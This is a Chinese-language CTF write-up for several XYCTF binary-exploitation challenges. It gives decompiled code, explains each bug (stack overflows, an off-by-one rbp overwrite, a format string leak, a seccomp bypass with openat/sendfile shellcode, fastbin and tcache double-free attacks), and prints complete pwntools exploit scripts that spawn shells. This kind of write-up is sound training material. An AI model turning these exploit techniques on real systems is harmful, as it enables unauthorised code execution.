hello world
checksec
大多保护都开启了
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{char buf[20]; // [rsp+0h] [rbp-20h] BYREFinit();printf("%s", "please input your name: ");read(0, buf, 0x48uLL);printf("Welcome to XYCTF! %s\n", buf);printf("%s", "please input your name: ");read(0, buf, 0x48uLL);printf("Welcome to XYCTF! %s\n", buf);return 0;
}
其中read函数读入0x48
个字节,buf
数组只有20个空间,造成了溢出漏洞,该题pie也打开了,我们还需要知道某一个函数的地址,因为栈高2个字节是父函数的返回地址,因此我们可以直接泄露这个地址,因为printf
直到遇到\00才会停止输出,如果我们使用a来占位,栈的情况如下
这是输入了0x28
个a,与0x28
处的数据一起,可以向后泄露地址
得到main函数的返回地址,我们需要计算start函数的起始地址 ???
真实地址 = 加载地址 + 偏移地址
所以 偏移地址 = 静态真实地址 -静态加载地址
然后由此可以得出基地址
接下来就是常规操作了
from pwn import *context(os="linux",arch="amd64",log_level='debug')
io = process("./vuln")
elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")payload = 0x28 * b'a'
io.recvuntil("please input your name: ")
io.send(payload)
addr=u64(io.recvuntil(b'\n')[-7:-1].ljust(8,b'\x00'))
print(hex(addr))
base = addr - 0x29d90
sys_addr = base + libc.sym['system']
bsh=base+0x01d8678
poprdi_addr = base + 0x2a3e5
ret_addr = base + 0x29139
payload2 = b'a'*0x28 + p64(ret_addr) + p64(poprdi_addr) + p64(bsh) + p64(sys_addr)
io.recvuntil(b"please input your name: ")
io.sendline(payload2)io.interactive()
static_link
checksec
利用meprotect来赋予权限,使用shellcode
from pwn import *context(os='linux',arch = 'amd64',log_level = 'debug')io = process("./vuln")read_addr = 0x00447580
meprotect_addr = 0x04482C0
bss_addr = 0x04C7000
pop_rdi = 0x00401f1f
pop_rsi = 0x00409f8e
pop_rdx = 0x00451322
ret_add = 0x0040101a
print(read_addr)
payload = (0x20 + 8)*b'a' + p64(ret_add) + p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0x100) + p64(pop_rdx) + p64(7) + p64(meprotect_addr)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x100) + p64(read_addr) + p64(bss_addr)io.recvuntil('static_link? ret2??')
io.sendline(payload)shellcode = asm(shellcraft.sh())io.sendline(shellcode)
io.interactive()
Guestbook1
checksec
只开启了栈不可执行保护,IDA打开
int __fastcall main(int argc, const char **argv, const char **envp)
{init();GuestBook();return 0;
}
void __cdecl GuestBook()
{int index; // [rsp+Ch] [rbp-224h] BYREFchar name[32][16]; // [rsp+10h] [rbp-220h] BYREFunsigned __int8 id[32]; // [rsp+210h] [rbp-20h] BYREFputs("Welcome to starRail.");puts("please enter your name and id");while ( 1 ){while ( 1 ){puts("index");__isoc99_scanf("%d", &index);if ( index <= 32 )break;puts("out of range");}if ( index < 0 )break;puts("name:");read(0, name[index], 0x10uLL);puts("id:");__isoc99_scanf("%hhu", &id[index]);c}puts("Have a good time!");
}
void __cdecl backdoor()
{puts("oh,you find it.");system("/bin/sh");
}
该题一看没有能够直接溢出的,但是name函数仅有32个索引仅到31,却可以允许32,id数组也是,id仅靠栈底,所以仅可以溢出一个字节,我们可以试试这个溢出可以干什么
发现可以改变rbp处的最后一个字节,如果我们将原来的栈底值缩小,rbp就被移入栈中,此时,我们在rbp的高一地址处放置后门函数地址,则当ret时就实现了跳转,所以我们需要两个leave ret
,leave的作用是将rsp移到rbp处,ret则是pop rbp,pop rip
,这样我们可以尽可能的让后门函数所处的位置更高,并在低地址处填充许多ret,使他最终流向后门函数
该题手法
exp
from pwn import *context.arch='amd64'io=remote('gz.imxbt.cn',20835)ret=0x000000000040101abackdoor=0x40133Apayload=p64(ret)*2for i in range(32):io.recvuntil(b"index\n")io.sendline(str(i).encode())io.recvuntil(b'name:\n')io.sendline(payload)io.recvuntil(b"id:\n")io.sendline(b'0')io.recvuntil(b"index\n")
io.sendline(b'32')
io.recvuntil(b"name:\n")
payload=p64(ret)+p64(backdoor)
io.send(payload)
io.recvuntil("id:\n")
io.sendline(b'0')io.recvuntil(b'index\n')
io.sendline(b'-1')io.interactive()
baby_gift
from pwn import *context.arch='amd64'
context.log_level = 'debug'all_logs = []
def debug(params=''):for an_log in all_logs:success(an_log)pid = util.proc.pidof(io)[0]gdb.attach(pid, params)pause()io = process("./vuln")
elf = ELF("./vuln")
libc = ELF("libc.so.6")
io.recvuntil(b'Your name:\n')
io.sendline(b'a'*10)
io.recvuntil(b'Your passwd:\n')
ret = 0x000040101a
mov_eax_0 = 0x000401202
payload = b'%27$pa'.ljust(0x28,b'a') + p64(mov_eax_0) + p64(0) + p64(0x04012B7)
io.send(payload)
io.recvuntil('0x')
call_main = int(io.recv(12),16) - 128
base = call_main - libc.sym["__libc_start_main"]
system = base+libc.sym["system"]
printf = base + libc.sym['printf']
success(hex(system))
#debug()
sh = base+next(libc.search(b"/bin/sh"))
rdi = 0x000000000002a3e5+base
payload = b'/bin/sh\x00'+b'a'*0x20+p64(ret)+p64(system)
io.recvuntil(b'Your name:\n')
io.sendline(b'a'*10)
io.recvuntil(b'Your passwd:\n')
io.sendline(payload)
#io.recv()
io.interactive()
invisible_flag
checksec
查看沙箱
line CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 00130002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 00050004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 00130005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 00130006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 00130007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 00130008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 00130009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 00130010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 00130011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 00130012: 0x06 0x00 0x00 0x7fff0000 return ALLOW0013: 0x06 0x00 0x00 0x00000000 return KILL
IDA打开
int __fastcall main(int argc, const char **argv, const char **envp)
{void *addr; // [rsp+8h] [rbp-118h]init();addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);if ( addr == (void *)-1LL ){puts("ERROR");return 1;}else{puts("show your magic again");read(0, addr, 0x200uLL);sandbox();((void (*)(void))addr)();return 0;}
}
明显的栈溢出,但是大多函数都用不了,使用orw来做题
因为execve和open都被禁用,那我们就需要openat来获取文件标识符,
然后使用sendfile来输出
exp如下
from pwn import *
from ctypes import *context(os='linux',arch='amd64',log_level='debug')
io = process("./vuln")
#io = remote("gz.imxbt.cn",20908)shellcode = '''mov rax,0x67616c662f2epush raxxor rdi,rdisub rdi,100mov rsi,rspxor edx,edxxor r10,r10push SYS_openatpop raxsyscallmov rdi,1mov rsi,3push 0mov rdx,rspmov r10,0x100push SYS_sendfilepop raxsyscall
'''shellcode = asm(shellcode)shellcode=asm(shellcraft.openat(-100,'flag'))shellcode+=asm(shellcraft.sendfile(1,3,0,0x30))
print(shellcode)
io.sendline(shellcode)
io.interactive()
fastfastfast
checksec
首先要泄露libc
的地址,那就要利用我们的show函数,要使用show函数,那我们必须篡改note[idx]
的地址,怎么篡改呢
我们要知道tcache
和fastbin
的进出规则,先进后出
2.31的glibc在tcache引⼊了key机制,没有 edit 函数⽆法绕过检测,所以就转到fastbin attack
我们先了解以下:
-
程序每当从
fastbin/small bin
中取出一个堆块,会尝试把该bin中剩余的堆块拿出来去填充tcache
-
取堆块的过程与正常从链表中取出堆块的方式一样,对于
fastbin
来讲就是先进后出,对于smallbin
来说就是先进先出。这个过程,直到tcache
被填满或者链表被取空。 -
先讲以取空链表的方式结束的方法,对于
fastbin
而言,链表取空,即bin的fd
指向了0,这个情况得是取出一个堆块后,这个链表最后以0结尾。
要触发fastbin
的doublefree
漏洞,就可以隔一个free两个同样的节点,比如
for i in range(9):add(i,b'a'*0x68)
size=0x4040b0
for i in range(7):delete(i)
delete(7)
delete(8)
delete(7)
bin如下:
然后如下操作:
for i in range(7):add(i,b'a'*0x68)
add(7,p64(size))
其中size是想要泄露地址存放的地址,然后heap中的位置如下
因为add(7,p64(size))
时,tache
认为7是空闲的,而add
认为它是正在使用的,所以向7中写入地址,tache
认为这个地址是fd
,即指向下一个free块的地址,这是就多出了一个块
再执行
add(8,b'a'*0x68)
add(9,b'a'*0x68)
payload=b'a'*0x10+p64(puts_got)
add(10,payload)
heap如下:
成功泄露libc的地址,接下来,就是执行system('/bin/sh')
,我们可以篡改free_hook
的地址为system
地址,这样当free了输入了/bin/sh
的节点的时候,就会执行函数
写入过程与上述一致
for i in range(9):add(i,b'a'*0x68)
for i in range(7):delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):add(i,b'a')
one_gadget=libc_base+0xe3b31
add(7,p64(free_hook))
add(8,b'a'*0x68)
add(9,b'/bin/sh')
add(10,p64(system))
delete(9)
io.interactive()
Intermittent
checksec
[*] '/home/gery5sa/桌面/pwn/xyctf/Intermittent/vuln'Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
IDA打开
int __fastcall main(int argc, const char **argv, const char **envp)
{unsigned __int64 i; // [rsp+0h] [rbp-120h]void (*v5)(void); // [rsp+8h] [rbp-118h]_DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREFunsigned __int64 v7; // [rsp+118h] [rbp-8h]v7 = __readfsqword(0x28u);init(argc, argv, envp);v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);if ( v5 == (void (*)(void))-1LL ){puts("ERROR");return 1;}else{write(1, "show your magic: ", 0x11uLL);read(0, buf, 0x100uLL);for ( i = 0LL; i <= 2; ++i )*((_DWORD *)v5 + 4 * i) = buf[i];v5();return 0;}
}
代码基本思想
-
生成canary
-
使用
mmap
系统调用来在Linux
(或类Unix)系统中动态地映射内存区域void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
-
向buf中读入0x100个字节的内容
-
将buf截断放入(v5+4i)的位置,每个位置放四个字节
-
执行v5处的代码
因为写入v5处的代码较少,无法写入shellcode,那我们可以构造
read
函数,写入shellcode,继续执行v5,通过调试,v5的地址存在rdx中,我们要构造read(0,v5,0x100)
,构造成read的shellcode
shellcode = asm('push rdx;pop rsi;jmp $+14;') shellcode += asm('push rax;pop rdi;jmp $+14;') shellcode += asm('push rsi;pop rdx;syscall;')
然后读入
system('/bin/sh')
的shellcode
,继而执行
此时rip已经指向了syscall
的下一个位置,填充的shellcode的头地址在此位置即可
exp
from pwn import *context.arch='amd64'
context.log_level = 'debug'all_logs = []
def debug(params=''):for an_log in all_logs:success(an_log)pid = util.proc.pidof(io)[0]gdb.attach(pid, params)pause()
io = process("./vuln")
#io = remote("gz.imxbt.cn",20381)
shellcode = asm('push rdx;pop rsi;jmp $+14;')
shellcode += asm('push rax;pop rdi;jmp $+14;')
shellcode += asm('push rsi;pop rdx;syscall;')
io.recvuntil(b'show your magic: ')
io.send(shellcode.ljust(0x100,b'\x90')) #'\x90' nop
io.send(b'\x90'*0x28 + asm(shellcraft.sh()))
io.interactive()
ptmalloc2 it's myheap
[*] '/home/gery5sa/桌面/pwn/xyctf/ptmalloc2_its_myheap/vuln'Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)
查看代码:
就是一个菜单程序,可以添加,删除,和查看
unsigned __int64 add_chunk()
{unsigned __int64 v1; // [rsp+8h] [rbp-28h] BYREFsize_t size; // [rsp+10h] [rbp-20h] BYREF_QWORD *v3; // [rsp+18h] [rbp-18h]void *buf; // [rsp+20h] [rbp-10h]unsigned __int64 v5; // [rsp+28h] [rbp-8h]v5 = __readfsqword(0x28u);printf("[?] please input chunk_idx: ");__isoc99_scanf("%lld", &v1);if ( v1 < 0x10 ){printf("[?] Enter chunk size: ");__isoc99_scanf("%lld", &size);v3 = malloc(0x18uLL); //malloc管理块*v3 = size;if ( v3 ){buf = malloc(size); //malloc数据块v3[2] = buf; //管理块的第三地址的指针指向数据块if ( buf ){printf("[?] Enter chunk data: ");read(0, buf, size); //输入数据chunk_list[v1] = v3; v3[1] = 1LL;}else{puts("[-] Failed to create chunk for data!");}}else{puts("[-] Failed to create new chunk!");}}else{puts("[-] Chunk limit exceeded!");}return v5 - __readfsqword(0x28u);
}
unsigned __int64 delete_chunk()
{unsigned __int64 v1; // [rsp+8h] [rbp-18h] BYREF__int64 v2; // [rsp+10h] [rbp-10h]unsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);printf("[?] Enter chunk id: ");__isoc99_scanf("%lld", &v1);if ( v1 < 0x10 ){v2 = chunk_list[v1];if ( v2 ){if ( *(_QWORD *)(v2 + 8) ){free((void *)chunk_list[v1]); //先free管理块free(*(void **)(v2 + 16)); //再free数据块*(_QWORD *)(v2 + 8) = 0LL; //指针未置0,UAF漏洞}else{puts("[-] Chunk is not used!");}}else{puts("[-] No such chunk!");}}else{puts("[-] Chunk limit exceeded!");}return v3 - __readfsqword(0x28u);
}
unsigned __int64 view_chunk()
{unsigned __int64 v1; // [rsp+0h] [rbp-10h] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);printf("[?] Enter chunk id: ");__isoc99_scanf("%lld", &v1);if ( v1 < 0x10 ){if ( chunk_list[v1] ){if ( *(_QWORD *)(chunk_list[v1] + 8LL) )write(1, *(const void **)(chunk_list[v1] + 16LL), *(_QWORD *)chunk_list[v1]);//在管理块的第三个指针输出data块的值elseputs("[-] Chunk is not used!");}else{puts("[-] No such chunk!");}}else{puts("[-] Chunk limit exceeded!");}return v2 - __readfsqword(0x28u);
}
method1
题目思路:
-
第1题PIE未开,并且got表可写。直接覆盖free为system
-
3个题的菜单一样,只有add,free,show,没有edit稍有点麻烦。
-
add时先写个
0x18
的管理块,再建数据块,并将指针和大小写到管理块。 -
free时先free管理块再free数据块,并且未清指针,所以有
UAF
漏洞。 -
show是用write写不会出现\0截断。
-
通过建
0x18
的块覆盖原来free掉但未清指针的管理块,控制管理块的指针,可以实现任意地址读。 -
并且可以指定一个位置来 free得到到重叠块,覆盖原
tcache
的指实在在指定位置建块写数据。参考:https://blog.csdn.net/weixin_52640415/article/details/140070008
泄露libc
过程示意图
add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")
同理将heap的基地址泄露出来,(chunk_list
中存放的就是各个结点的malloc
起始地址),泄露即可,经过调试,第一个malloc
离heap地址距离0x2a
泄露代码:
free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")
然后就是修改free_got
为system
,首先就是要把bins的指针指向free_got
,位置,然后就可以,我们可以使用重叠,因为该题的free是根据管理块上的地址,而我们恰好可以控制这个地址,因为此时对于0x30
的tcache
,上图,我们看到d1
可以最先被malloc
,我们尝试修改d1
的内容,我们在其前一个地址(0x310)
处,malloc
一个更大的数据块,我们可以在此写入任意数据,如何能free到一个更大的bins呢,我们free(0)
,就会根据g0
的第三个位置的地址来free,我们设置这个地址为0x2e0
,经过调试发现,会生成一个0x60
大小的bins,如下图
之后就是改写数据了
free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))
bins如下:
发现已经构造成功,接下来,就是写入system
加执行了
示意图
完整exp
from pwn import *context.arch='amd64'
context.log_level = 'debug'all_logs = []
def debug(params=''):for an_log in all_logs:success(an_log)pid = util.proc.pidof(io)[0]gdb.attach(pid, params)pause()
io = process("./vuln")
libc = ELF('./libc.so.6')
elf = ELF("./vuln")
def add(index,size,data='A'):io.recvuntil(">>> ")io.sendline(str(1))io.recvuntil("chunk_idx: ")io.sendline(str(index))io.recvuntil("size: ")io.sendline(str(size))io.recvuntil("data: ")io.sendline(data)
def free(index):io.recvuntil(">>> ")io.sendline(str(2))io.recvuntil("id: ")io.sendline(str(index))
def show(index):io.recvuntil(">>> ")io.sendline(str(3))io.recvuntil("id: ")io.sendline(str(index))
add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(io.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(io.recv(8)) - 0x2a0
print(f"{heap = :x}")free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)
add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))
add(3,0x20, b'/bin/sh\0')
add(4,0x20, flat(0, libc.sym['system']))free(3)
io.interactive()
method2
glibc 2.35
版本的堆,题⽬没开PIE和Partial RELRO
,并且有函数泄漏了libc
上的地址。所以思路就是先利⽤堆风⽔修改info chunk使得user chunk的使⽤标记为1,并修改原本指向user chunk的指针指向全局变量 chunk_list,从⽽就能泄漏出堆地址了。然后同样由于tcache key
机制,并且没 edit 函数,需要转打fastbin attack
,并且由于glibc 2.32
后引⼊了PROTECT_PTR
宏和safelink
机制,所以要求伪造的chunk以0x10
对齐,并且fd
的值为(chunk_addr >> 12) ^ next_chunk_addr
。最后利⽤UAF
修改 free@got 为 system即可。实现double_free
即可
from pwn import *
context.arch='amd64'
elf=ELF('./vuln')
libc=ELF('./libc.so.6')
#io=remote('113.54.244.115',55121)
io=process('./vuln')
puts_got=elf.got['puts']
free=elf.got['free']
#free_got=elf.got['free']def add(idx,size,content):io.recvuntil(b">>> ")io.sendline(b'1')io.recvuntil(b"[?] please input chunk_idx: ")io.sendline(str(idx).encode())io.recvuntil(b"[?] Enter chunk size: ")io.sendline(str(size).encode())io.recvuntil(b"[?] Enter chunk data: ")io.send(content)def delete(idx) :io.recvuntil(b">>> ")io.sendline(b'2')io.recvuntil(b"[?] Enter chunk id: ")io.sendline(str(idx).encode())def show(idx):io.recvuntil(b">>> ")io.sendline(b'3')io.recvuntil(b"[?] Enter chunk id: ")io.sendline(str(idx).encode())def edit(idx,content) :io.recvuntil(b">>> ")io.sendline(b'2')io.recvuntil(b"which suggestion?\n")io.sendline(str(idx).encode())io.send(content)
all_logs = []
def debug(params=''):for an_log in all_logs:success(an_log)pid = util.proc.pidof(io)[0]gdb.attach(pid, params)pause()add(0,0x18,b'aaa')
delete(0)
payload=p64(0x18)+p64(1)+p64(puts_got)
add(1,0x18,payload)
show(0)
puts=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts-libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
print('libc_base:',hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
print('malloc_hook:',hex(malloc_hook))
#leak heap
delete(1)
payload=p64(0x18)+p64(1)+p64(0x4040E0)
add(2,0x18,payload)
show(1)
heap=u64(io.recv(6).ljust(8,b'\x00'))-0x2a0
for i in range(9):add(i,0x30,b'aaa')
for i in range(7):delete(i)
delete(7)
delete(8)
add(9,0x18,b'aaa')
add(10,0x18,b'ccc')
add(11,0x18,b'ddd')
add(12,0x60,b'kkk')
addr=heap+0x5a0
payload=p64(0x30)+p64(1) #篡改标志为1,可以再次free
add(13,0x18,payload)
delete(7) for i in range(7):add(7,0x30,'aaaa')add(7,0x30,p64((heap>>12)^(elf.got['free']-8)))
add(8,0x30,'/bin/sh\x00')
#debug()
add(14,0x30,'/bin/sh\x00')
add(15,0x30,p64(0)+p64(sys_addr))delete(8)
io.interactive()
ptmalloc2 it‘s myheap pro
check